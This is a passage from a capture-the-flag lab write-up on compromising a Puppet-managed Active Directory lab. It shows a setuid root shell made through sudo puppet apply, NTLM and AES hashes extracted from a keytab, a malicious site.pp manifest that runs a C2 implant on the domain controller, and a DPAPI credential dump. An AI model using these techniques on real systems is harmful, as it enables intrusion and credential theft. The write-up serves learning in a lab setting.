sudo: unable to resolve host puppet.puppet.vl: Temporary failure in name resolution
Warning: `puppet cert` is deprecated and will be removed in a future release.
   (location: /usr/lib/ruby/vendor_ruby/puppet/application.rb:370:in `run')
+ "dc01.puppet.vl"   (SHA256) E4:C3:42:71:83:88:08:07:6A:C5:A1:9D:FA:C2:7E:BB:D5:65:5F:71:9F:D3:BE:11:96:B7:26:CD:4F:5C:68:C6
+ "file01.puppet.vl" (SHA256) 61:ED:86:C3:55:35:36:89:D5:FC:3A:32:05:D1:23:EC:C3:F1:58:E4:D7:9A:6B:3E:65:F4:F2:F2:77:34:B0:CA
+ "pm01"             (SHA256) 94:8C:76:E9:D1:43:CA:FF:6C:06:34:80:23:02:8C:49:20:00:B2:43:62:42:16:7B:AF:4F:A6:68:F3:C2:D8:06 (alt names: "DNS:pm01", "DNS:puppet")
+ "pm01.localdomain" (SHA256) 2D:DC:44:F8:49:B6:41:B3:9A:2A:AE:B3:D2:9F:C7:6F:1F:0A:62:00:19:EB:B8:93:D6:C6:65:28:60:D9:F1:B8 (alt names: "DNS:pm01.localdomain", "DNS:puppet")
+ "puppet.puppet.vl" (SHA256) 11:65:85:DB:9F:E4:19:03:04:21:92:4B:19:03:17:6D:29:A9:E9:56:0F:04:A6:16:2B:44:46:A3:33:20:92:9C (alt names: "DNS:puppet", "DNS:puppet.puppet.vl")

Now that everything is clear let's move ahead with exploiting this infrastructure. I first created an implant for the linux host and got back a session because the connection was not stable at all due to socat, connecting to the host via the C2 server was way more stabler since it was the C2 instance connecting to the host it was ran on. This worked very well for me and made enumeration easier. I looked at this after https://gtfobins.github.io/gtfobins/puppet/ and found out how to get a root shell with sudo privileges on puppet binary. Let's get root
Bash
svc_puppet_lin_t1@puppet.vl@puppet:~$ sudo puppet apply -e 'exec { "backdoor": command => "/bin/cp /bin/bash /tmp/rootbash; /bin/chmod +s /tmp/rootbash", path => "/bin:/usr/bin" }'
Notice: Compiled catalog for puppet.puppet.vl in environment production in 0.05 seconds=> "/bin/cp /bin/bash /tmp/rootbash; /bin/chmod +s /tmp/rootbash", path => "/bin:/usr/bin" }'
Notice: /Stage[main]/Main/Exec[backdoor]/returns: executed successfully
Notice: Applied catalog in 0.03 seconds
svc_puppet_lin_t1@puppet.vl@puppet:~$ /tmp/rootbash -p
rootbash-5.1# whoami
root

I found krb5.keytab file in /etc/ folder and I downloaded it locally. This file can be used for pivoting as it holds pairs of kerberos principals along side their encrypted keys, it's mainly used by service accounts to authenticate to kerberos without password. I used klist to look at the users/service accounts that we can get keys/hashes to. I also looked for the encrypted keys algorithms.
Bash
[Jan 16, 2026 - 23:56:38 (CET)] exegol-D3xt3R puppet # klist -kte ./krb5.keytab  

Keytab name: FILE:./krb5.keytab
KVNO Timestamp           Principal
---- ------------------- ------------------------------------------------------
   2 10/12/2024 19:03:54 PUPPET$@PUPPET.VL (DEPRECATED:arcfour-hmac) 
   2 10/12/2024 19:03:54 PUPPET$@PUPPET.VL (aes128-cts-hmac-sha1-96) 
   2 10/12/2024 19:03:54 PUPPET$@PUPPET.VL (aes256-cts-hmac-sha1-96) 
   2 10/12/2024 19:03:54 host/PUPPET@PUPPET.VL (DEPRECATED:arcfour-hmac) 
   2 10/12/2024 19:03:54 host/PUPPET@PUPPET.VL (aes128-cts-hmac-sha1-96) 
   2 10/12/2024 19:03:54 host/PUPPET@PUPPET.VL (aes256-cts-hmac-sha1-96) 
   2 10/12/2024 19:03:54 host/puppet.puppet.vl@PUPPET.VL (DEPRECATED:arcfour-hmac) 
   2 10/12/2024 19:03:54 host/puppet.puppet.vl@PUPPET.VL (aes128-cts-hmac-sha1-96) 
   2 10/12/2024 19:03:54 host/puppet.puppet.vl@PUPPET.VL (aes256-cts-hmac-sha1-96) 
   2 10/12/2024 19:03:54 RestrictedKrbHost/PUPPET@PUPPET.VL (DEPRECATED:arcfour-hmac) 
   2 10/12/2024 19:03:54 RestrictedKrbHost/PUPPET@PUPPET.VL (aes128-cts-hmac-sha1-96) 
   2 10/12/2024 19:03:54 RestrictedKrbHost/PUPPET@PUPPET.VL (aes256-cts-hmac-sha1-96) 
   2 10/12/2024 19:03:54 RestrictedKrbHost/puppet.puppet.vl@PUPPET.VL (DEPRECATED:arcfour-hmac) 
   2 10/12/2024 19:03:54 RestrictedKrbHost/puppet.puppet.vl@PUPPET.VL (aes128-cts-hmac-sha1-96) 
   2 10/12/2024 19:03:54 RestrictedKrbHost/puppet.puppet.vl@PUPPET.VL (aes256-cts-hmac-sha1-96) 


We can see that we have an entry for the PUPPET$ machine account and the encryption type is RC4-HMAC meaning it is in deed NTLM hash. I used this repo to extract the hashed/keys in the file https://github.com/sosdave/KeyTabExtract.
Bash
[Jan 16, 2026 - 23:53:03 (CET)] exegol-D3xt3R KeyTabExtract # ./keytabextract.py ../krb5.keytab 
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
	REALM : PUPPET.VL
	SERVICE PRINCIPAL : PUPPET$/
	NTLM HASH : fbc20cac89df657f16ca2a36338df33d
	AES-256 HASH : e9175f3f1137276eb42166f1bd69ec4fe06b9d2cf14e8b473d2ead7f7aefe43a
	AES-128 HASH : 5f314644f5101c54e5093774bc14b7f4

We now have the hash for the PUPPET$ machine account, which is the linux host. I found the available certs which are all the puppet agents that i could communicate with.
Bash
bash-5.1$ sudo /usr/bin/puppet cert -all
sudo: unable to resolve host puppet.puppet.vl: Temporary failure in name resolution
Warning: `puppet cert` is deprecated and will be removed in a future release.
   (location: /usr/lib/ruby/vendor_ruby/puppet/application.rb:370:in `run')
+ "dc01.puppet.vl"   (SHA256) E4:C3:42:71:83:88:08:07:6A:C5:A1:9D:FA:C2:7E:BB:D5:65:5F:71:9F:D3:BE:11:96:B7:26:CD:4F:5C:68:C6
+ "file01.puppet.vl" (SHA256) 61:ED:86:C3:55:35:36:89:D5:FC:3A:32:05:D1:23:EC:C3:F1:58:E4:D7:9A:6B:3E:65:F4:F2:F2:77:34:B0:CA
+ "pm01"             (SHA256) 94:8C:76:E9:D1:43:CA:FF:6C:06:34:80:23:02:8C:49:20:00:B2:43:62:42:16:7B:AF:4F:A6:68:F3:C2:D8:06 (alt names: "DNS:pm01", "DNS:puppet")
+ "pm01.localdomain" (SHA256) 2D:DC:44:F8:49:B6:41:B3:9A:2A:AE:B3:D2:9F:C7:6F:1F:0A:62:00:19:EB:B8:93:D6:C6:65:28:60:D9:F1:B8 (alt names: "DNS:pm01.localdomain", "DNS:puppet")
+ "puppet.puppet.vl" (SHA256) 11:65:85:DB:9F:E4:19:03:04:21:92:4B:19:03:17:6D:29:A9:E9:56:0F:04:A6:16:2B:44:46:A3:33:20:92:9C (alt names: "DNS:puppet", "DNS:puppet.puppet.vl")

We can see that we have the file01, dc01 and the machine that we have a session on. We already managed to compromise the FILE01 and we need to pivot to the get to the last service account svc_puppet_win_t0 which should be the user responsible for pulling the manifest. I found the right location where the agents pull the manifest config files hosted in the puppet master.
Bash
/etc/puppet/code/environments/production/manifests
I created this file that executes the C2 implant that we have in the file01 machine account, here is site.pp file. I also moved the puppet-update.exe implant to the open smb share on file01( Since it was the only way we can access the implant from DC01) .
Bash
node 'dc01.puppet.vl' {  
    exec { 'pwn_dc':
        command  => 'C:\\Windows\\System32\\cmd.exe /c \\\\file01.puppet.vl\\files\\update.exe',
        logoutput => true,
    }
}

After waiting for a little bit (the agents fetch the manifests every minute in the logs) we can see that we get a beacon on DC01 as the svc_puppet_win_t0 user which is an administrator of the domain. I created a session from the beacon and connected to it.
Bash
sliver (BLUSHING_ERROR) > whoami

Logon ID: PUPPET\svc_puppet_win_t0
[*] Current Token ID: PUPPET\svc_puppet_win_t0

It turns out that the princess is in another castle, let's look for her
Bash
sliver (BLUSHING_ERROR) > cat root.txt


The final flag is the password of the user "root@puppet.vl".


I couldn't dump credentials from lsass in memory so the user wasn't logged in, i used sharpdpapi to dump the password from disk.
Bash
sliver (BLUSHING_ERROR) > sharpdpapi machinetriage


[*] Triaging System Credentials


Folder       : C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile           : 39FAB9BA3A19E88594B1D50B5E44AAA4

    guidMasterKey    : {63ae5891-bded-4f6b-8c36-f43f1b65738c}
    size             : 592
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
    description      : Local Credential Data

    LastWritten      : 4/22/2025 11:43:03 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{ACFD7F3B-51A4-4B11-8428-F287E956EC4C}
    TargetAlias      : 
    Comment          : 
    UserName         : PUPPET\root
    Credential       : PUPPET{8b6626457fbee7a7e2b74a2aa6754aa9}


This was a very enjoyable and very dramatic lab but it came very handy in learning new techniques especially in AD red teaming and using C2 to conquer. Happy pwning :)
§ Contents